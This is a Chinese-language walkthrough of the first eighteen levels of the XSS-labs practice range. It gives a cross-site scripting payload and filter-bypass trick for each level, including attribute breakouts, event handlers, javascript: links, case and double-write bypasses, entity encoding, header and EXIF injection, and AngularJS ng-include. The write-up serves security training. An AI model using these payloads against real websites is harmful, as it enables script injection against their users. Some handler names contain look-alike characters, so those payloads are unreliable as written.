XSS-labs的1-18关
目录
level1(常规)
level2(闭合<")
level3(双引号过滤)
level4(尖括号过滤)
level5(javascript伪协议)
level6(script大小写绕过)
level7(双写关键字绕过)
level8(unicode编码绕过)
level9(内联注释绕过)
level10(隐藏参数控制)
level11(Referer可控)
level12(User-Agent可控)
level13(Cookie可控)
level14(EXIF数据注入)
level15(ngInclude文件包含)
level16(绕过空格过滤)
level17(onmouseover事件)
level18(onmouseover事件)
level1(常规)
观察URL,可以发现name=test,显示到了前端页面中:欢迎用户test
修改name=test,前端页面对应回显也会改变,说明用户的输入会嵌入到HTML代码中
?name=<script>alert('xss')</script>
查看源代码:
get传参给str,然后str直接嵌入到HTML代码中并输出。
level2(闭合<")
在搜索框中输入的内容会直接返回到前端页面中:
查看网页源码:
这里输入的hack被双引号包裹并且放到了input标签中,和sql注入一个思想,我们需要闭合引号和input标签!
?keyword="><script>alert('xss')<%2Fscript>
其他方法:
" οnclick=alert(1) "——当鼠标放到输入框才会弹窗
" οnfοcus=alert(1) "
level3(双引号过滤)
和level2差不多,需要闭合双引号和input标签:
但是这里可以发现双引号被当做字符串(")处理了,并没有起到闭合的作用!
尝试使用单引号:
' οnfοcus=alert('xss') '
或者' οnclick=alert('xss') '
然后鼠标点击输入框出发XSS就行了
其他方法(控制台中输出):
' οnfοcus=console.log("你好hack") '
然后鼠标放到输入框出发XSS漏洞,在控制台中可以看到输出了相应内容:
用onclick也是一样。
源代码:
使用单引号闭合了".htmlspecialchars($str)."前后的单引号!
level4(尖括号过滤)
查看网页源码,发现需要对<"进行闭合:
"><script>alert('xss')</script>
然后又发现尖括号<>被过滤了,那我们可以尝试level3中的onclick和onfocus方法:
" οnclick=alert('xss') "
或者:
" οnfοcus=alert('xss') "
也可以用console.log()
level5(javascript伪协议)
一样的需要闭合<"
尝试script标签:"><script>alert('xss')</script>
可以发现script标签变成了scr_ipt标签,大小写绕过也不行。
尝试onclick事件:
" οnclick=alert('xss') "
可以看到onclick被替换为了o_nclick,同样onfocus也被检测到了。
尝试a标签javascript伪协议:
"><a href=javascript:alert('xss')>诱惑</a>
当点击“诱惑”链接时,浏览器会执行冒号后面的javascript代码
level6(script大小写绕过)
搜索hello,发现页面也会返回hello:
需要闭合"和>
输入"><script>alert('xss')</script>
发现scirpt标签被过滤:
尝试大小写绕过:
"><sCript>alert('xss')</sCript>
成功:
level7(双写关键字绕过)
尝试"><script>alert('xss')</script>
发现script被过滤(替换为空值):
尝试大小写绕过失败,尝试onclick失败,尝试伪协议失败,尝试双写关键字:
"><sscriptcript>alert('xss')</scscriptript>
或者双写onclick中被过滤的on——oonnclick
或者双写javascript中被过滤的script——javasscriptcript
具体通过HTML代码,找到被过滤,替换为空的关键字是什么。
level8(unicode编码绕过)
这里我们可以直接添加链接,即我们直接在a标签中使用javascript伪协议了:
尝试javascript:alert('xss')
发现javascript被过滤,加了下划线:
对javascript:alert('xss')使用unicode的十进制或十六进制编码:
或者:
可以看到浏览器成功解析:
点击友情链接出发XSS
level9(内联注释绕过)
输入http添加链接,返回链接不合法:
输入http://添加链接,返回链接:
说明,这里会匹配输入的内容中有没有http://
如果没有http://就会判断为链接不合法。
可以看到成功添加了伪协议代码,但是还需要将http://注释掉才能成功触发XSS,并且这里还过滤了javascript
可以使用/**/注释符:
javascript:alert('xss')/*http://*/
然后还需要单独对被过滤的关键字做unicode的十六进制或十进制编码:
javascript:alert('xss')/*http://*/
然后点击友情链接触发XSS
level10(隐藏参数控制)
get传参,但是发现没有可控的参数:
观察发现form表单中有三个input标签——输入框,而网站后端是可以接收input标签的。
而这里input标签的赋值被隐藏了(type="hidden")
我们通过get方法向被隐藏的输入框中传值:
&t_link=123&t_history=123&t_sort=123
可以看到t_sort隐藏输入框的参数值发生了变化,说明这里是可控的!
那我们就可以单独对t_sort进行操作:
尖括号被过滤,使用onclick,并且修改隐藏输入框的type为text文本模式
&t_sort=" οnclick=alert('xss') " type=text
然后点击文本框,触发XSS
level11(Referer可控)
和level10类似,没有可控参数:
一样的,通过get方法,给隐藏输入框赋值:
&t_link=123&t_history=123&t_sort=123&t_ref=123
发现t_sort输入框被赋值,说明这里是一个可控点:
但是多次尝试均无法实现XSS,无法逃逸出双引号:
抓包,添加Referer来源标识字段:
Referer:123
发包后,发现t_ref隐藏输入框的值发生了变化,说明这里也是一个可控点:
尝试"><script>alert('xss')</script>,尖括号被过滤
尝试onclick
Referer:" οnclick=alert('xss') " type=text
然后发包,点击文本框触发XSS
level12(User-Agent可控)
和level11类似,没有输入框:
查看网页源码,还是四个隐藏标签,但是这里有一个标签有值,内容为用户代理字符串User - Agent String
抓包,可以看到User-Agent字段:
尝试修改User-Agent字段值:
尝试<script>标签,发现尖括号被过滤:
尝试onclick事件:
" οnclick=alert('xss') " type=text
发包,点击文本框触发XSS:
level13(Cookie可控)
类似的,有四个隐藏输入框:
抓包可以发现Cookie字段是可控的:
用sciprt标签还是会被过滤尖括号,尝试onclick:
" οnclick=alert('xss') " type=text
level14(EXIF数据注入)
这关靶场源码有点问题,引用的网站失效了。可以自己用AI重新写一个。
我们上传恶意的图片(EXIF信息中带有XSS代码的jpeg格式图片)
# 转换格式为jpeg:
convert a.png a.jpg# 处理元数据(可选):
exiftool -all= -overwrite_original a.jpg写入exif数据:
exiftool -Artist='<script>alert("XSS")</script>' a.jpg
浏览器在解析返回图片的EXIF信息时,触发XSS
level15(ngInclude文件包含)
对src传参,可以看到src传值给了ngInclude:
先说漏洞原理把:利用 AngularJS 框架中 ng-include
指令,包含外部文件。
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
那就通过src给ngInclude传参,让其加载level1.php文件并执行后面的命令
注意整句话要加上单引号。
level16(绕过空格过滤)
传入的值被包裹在center标签中:
传入XSS语句,可以发现script被替换为了 (HTML实体转义后的空格)
尝试<img src=1 οnerrοr=alert(1)>
可以看到空格也被替换为 
使用URL编码的换行符%0a代替空格:
<img%0asrc=1%0aοnerrοr=alert(1)>
level17(onmouseover事件)
对arg01和arg02两个参数传参,发现均可控:
对arg02传值:
尝试"><script>alert('xss')</script>发现无法逃逸出双引号:
尝试onclick事件触发,但是没有点击的地方。
尝试onmouseover事件触发,移动鼠标触发:
" οnmοuseοver=alert('xss') "
level18(onmouseover事件)
和level17类似:
" οnmοuseοver=alert('xss') "